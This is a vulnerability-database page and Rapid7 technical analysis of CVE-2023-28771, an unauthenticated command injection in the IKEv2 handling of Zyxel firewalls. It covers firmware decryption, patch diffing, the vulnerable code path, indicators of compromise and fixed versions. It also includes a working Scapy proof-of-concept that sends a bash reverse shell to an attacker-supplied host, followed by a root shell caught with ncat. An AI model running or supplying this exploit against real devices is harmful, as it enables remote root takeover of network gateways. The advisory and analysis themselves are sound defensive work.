Attacker Value
Very High
(2 users assessed)
Exploitability
High
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
5

CVE-2023-28771

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

Improper error message handling in Zyxel ZyWALL/USG series firmware versions 4.60 through 4.73, VPN series firmware versions 4.60 through 5.35, USG FLEX series firmware versions 4.60 through 5.35, and ATP series firmware versions 4.60 through 5.35, which could allow an unauthenticated attacker to execute some OS commands remotely by sending crafted packets to an affected device.

Add Assessment

2
Ratings
Technical Analysis

A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a

1
Ratings
Technical Analysis

Per @sfewer-r7’s Rapid7 analysis:

CVE-2023-28771 was introduced into the firmware from version 4.60, which was released on October 21, 2020, more than two and a half years ago. The vulnerable component is the Internet Key Exchange (IKE) packet decoder, which forms part of the IPSec VPN service offered by the device. Note: A VPN does not need to be configured on the device for the device to be vulnerable — an affected device is vulnerable in a default state. An attacker can send a specially crafted UDP packet to port 500 in the WAN interface and achieve unauthenticated command execution as the root user.

40K+ exposed web interfaces, which probably undersells exposure. Attackers tend to like these devices, and the vuln’s been hiding in the firmware for years now. Likely to be exploited at scale, possibly exploited under the radar already.

General Information

Vendors

  • Zyxel

Products

  • ZyWALL/USG series firmware,
  • VPN series firmware,
  • USG FLEX series firmware,
  • ATP series firmware

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

CVE-2023-28771 is an unauthenticated command injection vulnerability affecting the WAN interface of several Zyxel network devices, as reported by TRAPA Security. On March 31, 2023, Zyxel released a firmware update (version 5.36) that fixes the vulnerability. The Zyxel advisory reports the following affected products:

  • ATP (Firmware version 4.60 to 5.35 inclusive)
  • USG FLEX (Firmware version 4.60 to 5.35 inclusive)
  • VPN (Firmware version 4.60 to 5.35 inclusive)
  • ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive)

CVE-2023-28771 was introduced into the firmware from version 4.60, which was released on October 21, 2020, more than two and a half years ago. The vulnerable component is the Internet Key Exchange (IKE) packet decoder, which forms part of the IPSec VPN service offered by the device. Note: A VPN does not need to be configured on the device for the device to be vulnerable — an affected device is vulnerable in a default state. An attacker can send a specially crafted UDP packet to port 500 in the WAN interface and achieve unauthenticated command execution as the root user.

CVE-2023-28771 is not known to be exploited in the wild as of May 19, 2023, though we expect this to change. There are some 42,000 instances of Zyxel web interfaces exposed to the public internet. This does not, however, capture vulnerable VPN implementations, which means real exposure is likely much higher.

Extracting the Firmware

The device used during testing was a USG FLEX 100. The firmware can be found on the myzyxel.com portal. As we are targeting a USG FLEX 100 device, we downloaded the vulnerable USG FLEX 100 5.35(ABUH.0).zip firmware and the patched USG FLEX 100 5.36(ABUH.0).zip firmware.

$ sha1sum USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip 
e337a3128cd15f2f9f491e970ec6eb3e576b2e22  USG FLEX 100 5.35(ABUH.0).zip
$ sha1sum USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip 
30174f76213fb7aebf2fe5b8b4a5085b17491a0b  USG FLEX 100 5.36(ABUH.0).zip

As Zyxel ships their firmware encrypted, we can leverage a known plaintext attack to decrypt the firmware images, as detailed in this advisory from RedTeam Pentesting GmbH circa 2011.

$ unzip USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip -d 5.35
Archive:  USG FLEX 100 5.35(ABUH.0).zip
  inflating: 5.35/535ABUH0C0.bin     
  inflating: 5.35/535ABUH0C0.conf    
  inflating: 5.35/535ABUH0C0.db      
  inflating: 5.35/535ABUH0C0.pdf     
 extracting: 5.35/535ABUH0C0.ri      
  inflating: 5.35/USG FLEX 100_V5.35(ABUH.0)C0-foss.pdf  
$ unzip USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip -d 5.36
Archive:  USG FLEX 100 5.36(ABUH.0).zip
  inflating: 5.36/536ABUH0C0.bin     
  inflating: 5.36/536ABUH0C0.conf    
  inflating: 5.36/536ABUH0C0.db      
  inflating: 5.36/536ABUH0C0.pdf     
 extracting: 5.36/536ABUH0C0.ri      
  inflating: 5.36/USG FLEX 100_V5.36(ABUH.0)C0-foss.pdf 
$ ./pkcrack/bin/extract 5.35.conf.zip 5.35/535ABUH0C0.conf 5.35.535ABUH0C0.plaintext
$ ./pkcrack/bin/extract 5.36.conf.zip 5.36/536ABUH0C0.conf 5.36.536ABUH0C0.plaintext
$ ./pkcrack/bin/pkcrack -C 5.35/535ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.35.535ABUH0C0.plaintext -d 5.35_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:17:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 948 values at offset 4643
Lowest number: 937 values at offset 4642
Lowest number: 911 values at offset 4633
Lowest number: 844 values at offset 4632
Lowest number: 749 values at offset 4630
Lowest number: 740 values at offset 4627
Lowest number: 723 values at offset 4624
Lowest number: 697 values at offset 4622
Lowest number: 671 values at offset 4618
Lowest number: 606 values at offset 4615
Lowest number: 604 values at offset 4592
Lowest number: 602 values at offset 4590
Lowest number: 586 values at offset 4589
Lowest number: 567 values at offset 4583
Lowest number: 554 values at offset 4582
Lowest number: 528 values at offset 4581
Lowest number: 525 values at offset 4579
Lowest number: 500 values at offset 4576
Done. Left with 500 possible Values. bestOffset is 4576.
Stage 1 completed. Starting stage 2 on Tue May 16 15:17:59 2023
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:18:10 2023
Decrypting compress.img (07a187f5a1b0c46b72d42825)... OK!

...snip...

Decrypting wtpinfo (29eb840eb35536850efa9a2a)... OK!
Finished on Tue May 16 15:18:12 2023
$ ./pkcrack/bin/pkcrack -C 5.36/536ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.36.536ABUH0C0.plaintext -d 5.36_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:18:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 985 values at offset 1464
Lowest number: 956 values at offset 1461
Lowest number: 941 values at offset 1457
Lowest number: 910 values at offset 1287
Lowest number: 902 values at offset 1264
Lowest number: 850 values at offset 1245
Lowest number: 832 values at offset 428
Lowest number: 830 values at offset 110
Lowest number: 817 values at offset 109
Lowest number: 769 values at offset 106
Lowest number: 751 values at offset 105
Lowest number: 737 values at offset 102
Lowest number: 733 values at offset 97
Lowest number: 710 values at offset 89
Lowest number: 707 values at offset 88
Lowest number: 706 values at offset 86
Lowest number: 692 values at offset 84
Done. Left with 692 possible Values. bestOffset is 84.
Stage 1 completed. Starting stage 2 on Tue May 16 15:19:00 2023
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:19:07 2023
Decrypting compress.img (aadb082da8abcc4237738829)... OK!

...snip...

Decrypting wtpinfo (72b82f8253aed5eaaf24982e)... OK!
Finished on Tue May 16 15:19:08 2023
$ unzip 5.35_decrypted.zip -d 5.35_decrypted
$ unzip 5.36_decrypted.zip -d 5.36_decrypted

With the firmware successfully decrypted, the file compress.img can be extracted using a tool like 7zip to retrieve the contents of the Linux-based file system.

Diffing the Bug

While there are many changes across numerous files between version 5.35 and 5.36, we identify the binary /sbin/sshipsecpm as being of interest. We can use IDA Pro and BinDiff to quickly see how an obvious command injection vulnerability has been removed from the vulnerable firmware version. A caller-supplied error message is being written to a log file by constructing a system command and executing this command via a call to system to perform the write.

zyxel_diff1

Decompiling the function with Ghidra shows us the logic. The vulnerable function is a variadic function that takes a format string as its first parameter and zero or more variadic parameters. These construct the error message via the first call to ssh_vsnprintf. A second call to ssh_vsnprintf will create the system command that will write the error message to a log file /tmp/sdwan_vpndebug.log. Finally a call to system will execute the command.

ssh_vsnprintf(error_message,0x2000,format_string_param1,&local_param2);
ssh_vsnprintf(command,0x2064,"echo \"[%02d/%02d %02d:%02d:%02d] vpn_info: %s\" >> %s",month + 1,day,hour,minute,second,error_message,"/tmp/sdwan_vpndebug.log");
res = system(command);

The patch removes this system call in favor of writing the error message directly to the log file via a fopen, fputs, fflush, fclose sequence of calls.

If attacker-controlled data is logged via this vulnerable function, the attacker may perform arbitrary command injection.

Reaching the Bug

While we can see where the vulnerability is, we need to identify how attacker-controlled data can be written to the log file’s error message. After some reverse engineering, we identify the function ikev2_decode_notify, which itself is called by ikev2_decode_packet. The Internet Key Exchange (IKE) protocol is part of the IPSec protocol suite and allows two peers to establish a security association to aid secure communications. It communicates over UDP port 500.

If we run netstat on a vulnerable device we can see that UDP port 500 is listening by default on the WAN interface (Bound to IP address 192.168.86.40 in the example below), and the process sshipsecpm binds the socket.

bash-5.1# netstat -lnp
netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:11080         0.0.0.0:*               LISTEN      13002/ttyd
tcp        0      0 127.0.0.1:2601          0.0.0.0:*               LISTEN      10330/zebra
tcp        0      0 127.0.0.1:2602          0.0.0.0:*               LISTEN      10334/ripd
tcp        0      0 127.0.0.1:2604          0.0.0.0:*               LISTEN      10343/ospfd
tcp        0      0 127.0.0.1:10444         0.0.0.0:*               LISTEN      3079/pro
tcp        0      0 127.0.0.1:2605          0.0.0.0:*               LISTEN      10344/bgpd
tcp        0      0 0.0.0.0:2158            0.0.0.0:*               LISTEN      2516/zyssod
tcp        0      0 127.0.0.1:50001         0.0.0.0:*               LISTEN      10019/capwap_srv
tcp        0      0 0.0.0.0:179             0.0.0.0:*               LISTEN      10344/bgpd
tcp        0      0 192.168.3.1:53          0.0.0.0:*               LISTEN      13108/named
tcp        0      0 192.168.2.1:53          0.0.0.0:*               LISTEN      13108/named
tcp        0      0 192.168.1.1:53          0.0.0.0:*               LISTEN      13108/named
tcp        0      0 192.168.86.40:53        0.0.0.0:*               LISTEN      13108/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      13108/named
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      12918/sshd_config [
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      13108/named
tcp6       0      0 :::8008                 :::*                    LISTEN      10880/httpd
tcp6       0      0 :::54088                :::*                    LISTEN      10880/httpd
tcp6       0      0 :::59465                :::*                    LISTEN      10880/httpd
tcp6       0      0 :::59466                :::*                    LISTEN      10880/httpd
tcp6       0      0 :::2158                 :::*                    LISTEN      2516/zyssod
tcp6       0      0 :::80                   :::*                    LISTEN      10880/httpd
tcp6       0      0 :::179                  :::*                    LISTEN      10344/bgpd
tcp6       0      0 :::53                   :::*                    LISTEN      13108/named
tcp6       0      0 :::21                   :::*                    LISTEN      10743/proftpd: (acc
tcp6       0      0 :::22                   :::*                    LISTEN      12918/sshd_config [
tcp6       0      0 :::443                  :::*                    LISTEN      10880/httpd
udp        0      0 192.168.3.1:53          0.0.0.0:*                           13108/named
udp        0      0 192.168.2.1:53          0.0.0.0:*                           13108/named
udp        0      0 192.168.1.1:53          0.0.0.0:*                           13108/named
udp        0      0 192.168.86.40:53        0.0.0.0:*                           13108/named
udp        0      0 127.0.0.1:53            0.0.0.0:*                           13108/named
udp        0      0 0.0.0.0:67              0.0.0.0:*                           13221/dhcpd
udp     4480      0 0.0.0.0:68              0.0.0.0:*                           12998/dhcpcd
udp        0      0 0.0.0.0:5246            0.0.0.0:*                           10019/capwap_srv
udp        0      0 0.0.0.0:47290           0.0.0.0:*                           13095/radiusd
udp        0      0 0.0.0.0:13701           0.0.0.0:*                           12676/accountingd
udp        0      0 192.168.1.1:4500        0.0.0.0:*                           5706/sshipsecpm
udp        0      0 192.168.86.40:4500      0.0.0.0:*                           5706/sshipsecpm
udp        0      0 192.168.1.1:500         0.0.0.0:*                           5706/sshipsecpm
udp        0      0 192.168.86.40:500       0.0.0.0:*                           5706/sshipsecpm
udp        0      0 0.0.0.0:520             0.0.0.0:*                           10334/ripd
udp        0      0 192.168.1.1:1701        0.0.0.0:*                           5706/sshipsecpm
udp        0      0 192.168.86.40:1701      0.0.0.0:*                           5706/sshipsecpm
udp        0      0 127.0.0.1:18121         0.0.0.0:*                           13095/radiusd
udp        0      0 0.0.0.0:3799            0.0.0.0:*                           13095/radiusd
udp        0      0 0.0.0.0:1812            0.0.0.0:*                           13095/radiusd
udp        0      0 0.0.0.0:1813            0.0.0.0:*                           13095/radiusd
udp6       0      0 :::53                   :::*                                13108/named
raw        0      0 0.0.0.0:1               0.0.0.0:*               7           13221/dhcpd
raw        0      0 0.0.0.0:89              0.0.0.0:*               7           10343/ospfd

Using a tool called ike-scan we can confirm the WAN interface on the device is both receiving IKE messages and transmitting a response, as shown by the Notify message received below.

$ sudo ike-scan -M 192.168.86.40
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.86.40	Notify message 14 (NO-PROPOSAL-CHOSEN)
	HDR=(CKY-R=08fa698fad4ea545, msgid=98cf95b1)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.012 seconds (82.37 hosts/sec).  0 returned handshake; 1 returned notify

Knowing that the vulnerability can be reached during IKE packet decoding and that IKE messages received on the WAN interface are being processed, we can now begin to identify the IKE message that would trigger the vulnerability.

If we examine the function ikev2_decode_packet, we can see a call to ikev2_decode_notify during a switch statement whose switch condition is based upon the payload type. The debug logging statements in the decompilation gives us a useful hint to the operations being performed and the purpose of some of the variables. Reading RFC4306, which defines the Internet Key Exchange (IKEv2) Protocol, we can see that a payload type of 41 (0x29) is for a Notify payload. This corresponds to the naming convention of the vulnerable function we have identified, ikev2_decode_notify. So it appears the vulnerability lies in the decoding of an IKEv2 Notify payload.

    if ((lVar4 != 0) && (lVar4 = maybe_should_log_this("SshIkev2PacketDecode",0x6e), lVar4 != 0)) {
      uVar5 = ssh_dvsprintf("Payload of type %d",payload_type); // <-----
      ssh_debug_output(0x6e,"ikev2-packet-decode.c",0x3c7,"SshIkev2PacketDecode",
                       "ikev2_decode_packet",uVar5);
      FUN_1028a278(0,local_c4,uVar9);
    }
    local_c4 = local_c4 + 4;
    iVar8 = uVar9 - 4;
    lVar4 = maybe_should_log_this("SshIkev2PacketDecode",10);
    if (lVar4 != 0) {
      uVar7 = ssh_dvsprintf("switch by %d",payload_type);
      uVar5 = ssh_dvsprintf("[%p/%p] %s",local_20,*(undefined4 *)(local_20 + 0x19c),uVar7);
      ssh_debug_output(10,"ikev2-packet-decode.c",0x3cd,"SshIkev2PacketDecode","ikev2_decode_packet"
                       ,uVar5);
      maybe_log_console(uVar7,"ikev2-packet-decode.c",0x3cd);
    }
    switch(payload_type) { // <-----
    case 0x21:
      local_d0 = FUN_10283ab0(local_20,local_c4,iVar8);
      break;
    case 0x22:
      local_d0 = FUN_10284ec4(local_20,local_c4,iVar8);
      break;
    case 0x23:
      local_d0 = FUN_10285bc8(local_20,local_c4,iVar8);
      break;
    case 0x24:
      local_d0 = FUN_10285d0c(local_20,local_c4,iVar8);
      break;
    case 0x25:
      local_d0 = FUN_10285e54(local_20,local_c4,iVar8);
      break;
    case 0x26:
      local_d0 = FUN_10286410(local_20,local_c4,iVar8);
      break;
    case 0x27:
      local_d0 = FUN_102866c4(local_20,local_c4,iVar8);
      break;
    case 0x28:
      local_d0 = FUN_10286bd0(local_20,local_c4,iVar8);
      break;
    case 0x29: // <-----
      local_d0 = ikev2_decode_notify(local_20,(uint)((ulonglong)((longlong)piVar3[8] << 0x2c) >>
                                                    0x3f) << 0x13,local_c4,iVar8);
      break;

Decompiling ikev2_decode_notify, we can see a call to the vulnerable log function that contains the command injection vulnerability we identified, called vulnerable_log_function, in the decompilation below.

            if (puVar5[1] == 14) { // <----- NO_PROPOSAL_CHOSEN
              memcpy(acStack_58,(void *)puVar5[6],puVar5[5]);
              do-something_with_des_cbc(acStack_58,0x30,0);// <----- decrypt the first 48 bytes, leave the remaining bytes unmodified
              vulnerable_log_function("[cgnat] 4th sdwan_decode: %s",acStack_58); // <----- contains attacker controlled data
              lVar2 = FUN_100e0ccc(piVar1 + 0x4a,piVar1 + 0x50,acStack_58);
              if (lVar2 == 0) {
                FUN_1028de40(0xd,0xc,*piVar1 + 8,piVar1 + 1,0,0,0,0,"Get a wrong cgnat information")
                ;
                vulnerable_log_function("[cgnat] 4th cgnat convert wrong");
              }

Of note is the if comparison against the number 14 (0x0E). This number corresponds to the IKEv2 Notify payload message-type for NO_PROPOSAL_CHOSEN. A data value from the payload appears to be decoded using DES-CBC and the decoded value is then logged via the vulnerable log function. Further inspection of RFC4306 shows that a Notify payload has a message-type-specific data blob appended to the end of the payload. It appears this is the value being decoded and logged.

After some debugging we observe the following: An IKEv2 Notify message with a message-type of NO_PROPOSAL_CHOSEN will reach the vulnerable code path. The notification data value from the Notify payload will be copied to a local variable via a call to memcpy. The first 48 (0x30) bytes are decrypted using the DES algorithm; however, the remaining bytes after the first 48 bytes are left unmodified. The entire string is then logged to /tmp/sdwan_vpndebug.log via the vulnerable log function.

Therefore, an attacker can provide arbitrary commands in the Notification Data field of a Notify payload whose message-type is NO_PROPOSAL_CHOSEN, and achieve arbitrary command execution as the user root.

Exploiting CVE-2023-28771

The following Scapy script in Python will trigger the vulnerability and achieve a reverse root shell.

#!/usr/bin/python3
import sys
from scapy.all import *

load_contrib('ikev2')

cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + sys.argv[2] + "/" + sys.argv[3] + " <&1;\";echo -n \""

packet = IP(dst = sys.argv[1]) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68))

send(packet)

We can confirm a device is vulnerable as follows:

$ sudo python3 CVE-2023-28771.py 192.168.86.40 192.168.86.34 4444
.
Sent 1 packets.
$

A Netcat listener can be used to pick up the shell.

$ ncat -lnp 4444
bash: cannot set terminal process group (5405): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
bash-5.1#

Indicators of Compromise

A potential indicator of compromise would be the following entry in the file /tmp/sdwan_vpndebug.log:

[05/19 17:38:14] vpn_info: [cgnat] 4th cgnat convert wrong

This message will be written after a call to the vulnerable log function. It does not definitively indicate that exploitation has occurred, however — rather, it indicates that a packet was processed that reached the vulnerable code path.

Mitigation Guidance

To successfully remediate CVE-2023-28771, apply the latest firmware update for the affected Zyxel devices as soon as possible. Fixed versions are as follows:

  • ATP – Firmware version 5.36
  • USG FLEX – Firmware version 5.36
  • VPN – Firmware version 5.36
  • ZyWALL/USG – Firmware version 4.73 Patch 1